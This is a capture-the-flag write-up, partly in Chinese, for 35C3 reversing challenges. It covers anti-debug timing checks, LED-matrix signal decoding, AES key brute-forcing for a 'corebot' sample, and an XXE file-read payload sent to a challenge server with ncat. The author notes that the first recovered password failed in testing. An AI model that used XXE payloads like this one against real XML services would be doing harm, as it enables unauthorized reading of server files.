35C3_Re

0x01 0pack

1
2
3
./0pack.elf
ps -ef|grep 0pack.elf
gdb attach
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
while input:
0x55561c698a28 movzx eax, byte ptr [rbp - 0x80] ;get input
0x55561c698a2c mov byte ptr [rbp - 0x82], al ;store input[0]
0x55561c698a32 mov rax, r15
0x55561c698a35 add rax, 0x12475 ;RAX 0x55561c698475 — push rsp /* 0x67657265645f4d54 */
0x55561c698a3b movzx eax, byte ptr [rax]
0x55561c698a3e mov byte ptr [rbp - 0x81], al
0x55561c698a44 movzx eax, byte ptr [rbp - 0x82]
0x55561c698a4b cmp al, byte ptr [rbp - 0x81] ;cmp input&*0x55561c698475
0x55561c698a51 jne 0x55561c698a61

pwndbg> x/10xg 0x55561c698475
0x55561c698475: 0x67657265645f4d54 0x434d547265747369
0x55561c698485: 0x6c626154656e6f6c 0x725f4d54495f0065
0x55561c698495: 0x5472657473696765 0x6154656e6f6c434d
0x55561c6984a5: 0x5f764a5f00656c62 0x7265747369676552
0x55561c6984b5: 0x0073657373616c43 0x735f6362696c5f5f


>>> from pwn import *
>>> p64(0x67657265645f4d54)+p64(0x434d547265747369)+p64(0x6c626154656e6f6c)+p64(0x725f4d54495f0065)
'TM_deregisterTMCloneTable\x00_ITM_r'

this is wrong
本以为直接是这串字符串,不过动态调试发现比较字符并不连续
为了方便直接ida动态提取一下字符

debug with ida:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
v29 = __readfsqword(0x28u);
v3 = 1;
v18 = 'ap tupnI';
v19 = ' :drowss';
v20 = 0;
printf("%s", &v18, a1);
fgets(&s, 15, stdin);
putchar(10);
if ( s != a2[74869] || (unsigned __int8)wrong() )
v3 = 0;
if ( v5 != a2[74968] || (unsigned __int8)wrong() )
v3 = 0;
if ( v6 != a2[74298] || (unsigned __int8)wrong() )
v3 = 0;
if ( v7 != a2[74319] || (unsigned __int8)wrong() )
v3 = 0;
if ( v8 != a2[74868] || (unsigned __int8)wrong() )
v3 = 0;
if ( v9 != a2[74319] || (unsigned __int8)wrong() )
v3 = 0;
if ( v10 != a2[74664] || (unsigned __int8)wrong() )
v3 = 0;
if ( v11 != a2[74869] || (unsigned __int8)wrong() )
v3 = 0;
if ( v12 != a2[74874] || (unsigned __int8)wrong() )
v3 = 0;
if ( v13 != a2[74298] || (unsigned __int8)wrong() )
v3 = 0;
if ( v14 != a2[74309] || (unsigned __int8)wrong() )
v3 = 0;
if ( v15 != a2[74954] || (unsigned __int8)wrong() )
v3 = 0;
if ( v16 != a2[74792] || (unsigned __int8)wrong() )
v3 = 0;
if ( v17 != a2[74968] || (unsigned __int8)wrong() )
v3 = 0;
if ( v3 )
{
v21 = '��_��� (';
v22 = '��� (\n)�';
v23 = '��>)���_';
v24 = '���-����';
v25 = '��␌�(\n';
v26 = 'uf )���_';
v27 = '!haey kc';
v28 = 10;
}
else
{
v21 = -5557406242697676991LL;
LODWORD(v22) = -1293918304;
WORD2(v22) = 2720;
BYTE6(v22) = 0;
}
printf("%s", &v21);
return 0LL;
1
2
3
4
5
6
key=[0x54,0x68,0x69,0x73,0x49,0x73,0x41,0x54,0x72,0x69,0x75,0x6d,0x70,0x68]
flag=""
for i in key:
flag+=chr(i)
print flag
#ThisIsATriumph

something wrong:
类似一个利用CPU处理指令的速度来反调试的过程
可是当我正常输入也会错误,不知道是不是我的环境问题,或者有细节没注意到
提交平台关了,没办法验证。这题就到这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
wrong():
_BOOL8 wrong()
{
signed int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v3 = 0LL;
for ( i = 0; i <= 9; ++i )
{
v3 += sub_5627FBABD8E0();
sleep(0);
}
v4 = (unsigned __int64)(0xCCCCCCCCCCCCCCCDLL * (unsigned __int128)v3 >> 64) >> 3;
return v4 > 0x3E7 || !v4;
}

sub_5627FBABD8E0():
unsigned __int64 sub_5627FBABD8E0()
{
unsigned __int64 v0; // ST08_8

v0 = __rdtsc();
_RAX = 0LL;
__asm { cpuid }
return __rdtsc() - v0;
}

35C3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#Model,MDO3014
#Firmware Version,1.26
#
#Waveform Type,DIGITAL,,,,,,,,,,,,,
#Point Format,Y,,,,,,,,,,,,,
#Horizontal Units,s,,,,,,,,,,,,,
#Horizontal Scale,0.004,,,,,,,,,,,,,
#,,,,,,,,,,,,,,
#Sample Interval,4e-09,,,,,,,,,,,,,
#Record Length,1e+07,,,,,,,,,,,,,
#Gating,0.0% to 100.0%,,,,,,,,,,,,,
#,,,,,,,,,,,,,,
#Vertical Units,V,V,V,V,V,V,V,V,V,V,V,V,V,V
#Threshold Used,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65
#,,,,,,,,,,,,,,
#,,,,,,,,,,,,,,
#,,,,,,,,,,,,,,
#,,,,,,,,,,,,,,
#,,,,,,,,,,,,,,
#Label,OE,LAT,CLK,E,D,C,B,A,B2,B1,G2,G1,R2,R1
#TIME,D13,D12,D11,D10,D9,D8,D7,D6,D5,D4,D3,D2,D1,D0
-1.0000000e-03,0,0,0,0,1,0,0,0,0,0,0,1,0,1
-9.9999600e-04,0,0,0,0,1,0,0,0,0,0,0,1,0,1
-9.9999200e-04,0,0,0,0,1,0,0,0,0,0,0,1,0,1
......#data~

MDO3014型示波器&&RGB LED Matrix

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Label,OE,LAT,CLK,E,D,C,B,A,B2,B1,G2,G1,R2,R1

Google一个相似的引脚定义:

Label Name Function
1 DR1 High R data
2 DG1 High G data
3 DB1 High B data
4 GND GND
5 DR2 Low R data
6 DG2 Low G data
7 DB2 Low B data
8 GND GND
9 A A line selection
10 B B line selection
11 C C line selection
12 D D line selection
13 CLK CLOCK
14 LAT LATCH
15 OE Output Enable
16 GND GND

很显然是要通过给出的数据还原一个LED组成的图案:
找了一个32x32的文档:

1
https://cdn-learn.adafruit.com/downloads/pdf/32x16-32x32-rgb-led-matrix.pdf

主要看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
CLK:The CLK (clock) signal marks the arrival of each bit of
data.#应该是上升沿触发
OE:OE (output enable) switches the LEDs off when
transitioning from one row to the next.
LAT:The LAT (latch) signal marks the end of a row of
data
Upper RGB Data:Pins R1, G1 and B1 (labeled R0, B0 and G0 on some
matrices) deliver data to the top half of the display.
Lower RGB Data:Pins R2, G2 and B2 (labeled R1, G1 and B1 on some
matrices) deliver data to the bottom half of the display.
Row Select Lines:Pins A, B, C and D select which two rows of the display
are currently lit. (32x16 matrices don’t have a “D” pin —
it’s connected to ground instead.)

按照数据格式和引脚定义解出图案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from PIL import Image

MAX=128
pic=Image.new("RGB",(MAX*10,MAX*5*10))

oe,lat,clk,row,color1,color2=[],[],[],[],[],[]
f=open("./blink_data.csv","r")
for line in f:
data = line.strip().split(",")
oe.append(data[1])
lat.append(data[2])
clk.append(data[3])
row.append(int(data[4]+data[5]+data[6]+data[7]+data[8],2))
color1.append(((256-int(data[-1]))%256,(256-int(data[-3]))%256,(256-int(data[-5]))%256))
color2.append(((256-int(data[-2]))%256,(256-int(data[-4]))%256,(256-int(data[-6]))%256))
f.close()
end = [0]
for i in range(len(lat)-1):
if lat[i] == '0' and lat[i+1] == '1':
end.append(i+1)
end.append(10000000)
pic_x=0
pic_y=0
blink=0
for i in range(len(end)-1):
draw=[]
for j in range(len(clk[end[i]:end[i+1]])-1):
if clk[end[i]+j]=='0' and clk[end[i]+j+1]=='1':
draw.append((row[end[i]+j],color1[end[i]+j],color2[end[i]+j]))
pic_x=0
for d in draw:
for k in range(10):
for h in range(10):
pic.putpixel([pic_x*10+k,(blink*64+d[0])*10+h],d[1])
pic.putpixel([pic_x*10+k,(blink*64+d[0]+32)*10+h],d[2])
pic_x+=1
pic_y+=1
if pic_y%32==0:
blink+=1
pic.show()
pic.save("flag.png")

flag

0x03 corebot

function start:

1
2
3
4
5
6
7
8
9
.text:0110116E start           proc near
.text:0110116E push 0
.text:01101170 mov eax, esp
.text:01101172 push 0 ; dwFlags
.text:01101174 push 18h ; dwProvType
.text:01101176 push 0 ; szProvider
.text:01101178 push 0 ; szContainer
.text:0110117A push eax ; phProv
.text:0110117B call CryptAcquireContextA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#CryptAcquireContextA
https://docs.microsoft.com/en-us/dotnet/api/system.security.permissions.keycontainerpermissionaccessentry.providertype?view=netframework-4.7.2
#define PROV_RSA_FULL 1
#define PROV_RSA_SIG 2
#define PROV_DSS 3
#define PROV_FORTEZZA 4
#define PROV_MS_MAIL 5
#define PROV_SSL 6
#define PROV_STT_MER 7
#define PROV_STT_ACQ 8
#define PROV_STT_BRND 9
#define PROV_STT_ROOT 10
#define PROV_STT_ISS 11
#define PROV_RSA_SCHANNEL 12
#define PROV_DSS_DH 13
#define PROV_EC_ECDSA_SIG 14
#define PROV_EC_ECNRA_SIG 15
#define PROV_EC_ECDSA_FULL 16
#define PROV_EC_ECNRA_FULL 17
#define PROV_DH_SCHANNEL 18
#define PROV_SPYRUS_LYNKS 20
#define PROV_RNG 21
#define PROV_INTEL_SEC 22
#define PROV_REPLACE_OWF 23
#define PROV_RSA_AES 24
1
2
3
4
5
6
7
8
9
10
11
12
.text:01101180                 pop     ebx
.text:01101181 push 0
.text:01101183 mov eax, esp
.text:01101185 push 0 ; nFileSystemNameSize
.text:01101187 push 0 ; lpFileSystemNameBuffer
.text:01101189 push 0 ; lpFileSystemFlags
.text:0110118B push 0 ; lpMaximumComponentLength
.text:0110118D push eax ; lpVolumeSerialNumber
.text:0110118E push 0 ; nVolumeNameSize
.text:01101190 push 0 ; lpVolumeNameBuffer
.text:01101192 push 0 ; lpRootPathName
.text:01101194 call GetVolumeInformationA

create key in stack:

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:0110119F loc_110119F:                            ; CODE XREF: start+4B↓j
.text:0110119F push ax
.text:011011A1 movzx esi, ax
.text:011011A4 mov edx, esi
.text:011011A6 shl edx, 7
.text:011011A9 xor eax, edx
.text:011011AB mov edx, esi
.text:011011AD shl edx, 0Bh
.text:011011B0 xor eax, edx
.text:011011B2 mov edx, esi
.text:011011B4 shr edx, 4
.text:011011B7 xor eax, edx
.text:011011B9 loop loc_110119F

create header of pbData in stack&&call CryptImportKey:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pbData:
.text:011011BB push 20h ;The length of key:
.text:011011BD push 6610h ;CALG_AES_256
.text:011011C2 push small 0
.text:011011C5 push small 208h ;Blob Header
.text:011011C9 mov ebp, esp
......
.text:011011D4 push ebp ;*pbData
more information of CALG_AES_256:https://docs.microsoft.com/zh-cn/windows/desktop/SecCrypto/alg-id
#pbData:
08 02 00 00 #header
10 66 00 00 #CALG_AES_256
20 00 00 00 #size of key
......~~~ #data of key

set some MODE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:011011DB                 pop     ebx

#CRYPT_MODE_ECB:
.text:011011DC push 2
.text:011011DE mov eax, esp

.text:011011E0 push 0 ; dwFlags
.text:011011E2 push eax ; pbData

#KP_MODE:
.text:011011E3 push 4 ; dwParam

.text:011011E5 push ebx ; hKey
.text:011011E6 call CryptSetKeyParam
---------------------------------------------------------------------------------
#define CRYPT_MODE_CBC 1
#define CRYPT_MODE_ECB 2
#define CRYPT_MODE_OFB 3
#define CRYPT_MODE_CFB 4
#define CRYPT_MODE_CTS 5
---------------------------------------------------------------------------------
#define KP_IV 1
#define KP_SALT 2
#define KP_PADDING 3
#define KP_MODE 4
#define KP_MODE_BITS 5
#define KP_PERMISSIONS 6
#define KP_ALGID 7
#define KP_BLOCKLEN 8
---------------------------------------------------------------------------------

Decrypt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:011011EB                 add     esp, 4
.text:011011EE call sub_1101146
.text:011011F3 mov esi, eax
.text:011011F5 sub esp, edx
.text:011011F7 mov edi, esp
.text:011011F9 mov ecx, edx
.text:011011FB rep movsb
.text:011011FD sub edi, edx
.text:011011FF push edx
.text:01101200 mov eax, esp
.text:01101202 push eax ; pdwDataLen
.text:01101203 push edi ; pbData
.text:01101204 push 0 ; dwFlags
.text:01101206 push 1 ; Final
.text:01101208 push 0 ; hHash
.text:0110120A push ebx ; hKey
.text:0110120B call CryptDecrypt

compare strings with Begin four bytes:

1
2
3
4
5
6
7
8
9
10
.text:01101210                 cmp     dword ptr [edi], 33433533h
.text:01101216 jz short loc_1101223
.text:01101218 push small 0A2Eh
.text:0110121C push 45504F4Eh
.text:01101221 mov edi, esp
.text:01101223
.text:01101223 loc_1101223: ; CODE XREF: start+A8↑j
.text:01101223 call sub_1101120
.text:01101228 push 0 ; uExitCode
.text:0110122A call ExitProcess

至此未确定的只有初始用于生成Key的GetVolumeInformationA返回的2 bytes未知,直接爆力破解即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Cipher import AES

K =[16, 41, 184, 69, 157, 42, 171, 147, 254, 137, 251, 130, 147, 66, 161, 140, 46, 144, 99, 0, 6, 17, 128, 100, 184, 33, 194, 159, 53, 231, 126, 242, 8, 2, 0, 0, 16, 102, 0, 0, 32, 0, 0, 0]
text=""
for i in range(0x20):
text+=chr(K[i])

for i in range(0x10000):
key = ""
for j in range(16):
key = chr(i&0xff)+chr((i&0xffff)>>8)+key;
i ^= ((i & 0xffff) >> 4) ^ ((i & 0xffff) << 11) ^ ((i & 0xffff) << 7)
decode = AES.new(key, AES.MODE_ECB)
ans = decode.decrypt(text)
if ans[:4] == '35C3':
print ans
#35C3_MalwareAuthorKryptoChef

0x04 juggle

基本的XXE即可bypass
solution.xml:

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY kirin SYSTEM "/flag" >]>
<text>&kirin;</text>
1
2
3
ncat 35.246.237.11 1 < solution.xml
Reading input document from stdin...
<?xml version="1.0" encoding="UTF-8"?>35C3_The_chef_gives_you_his_compliments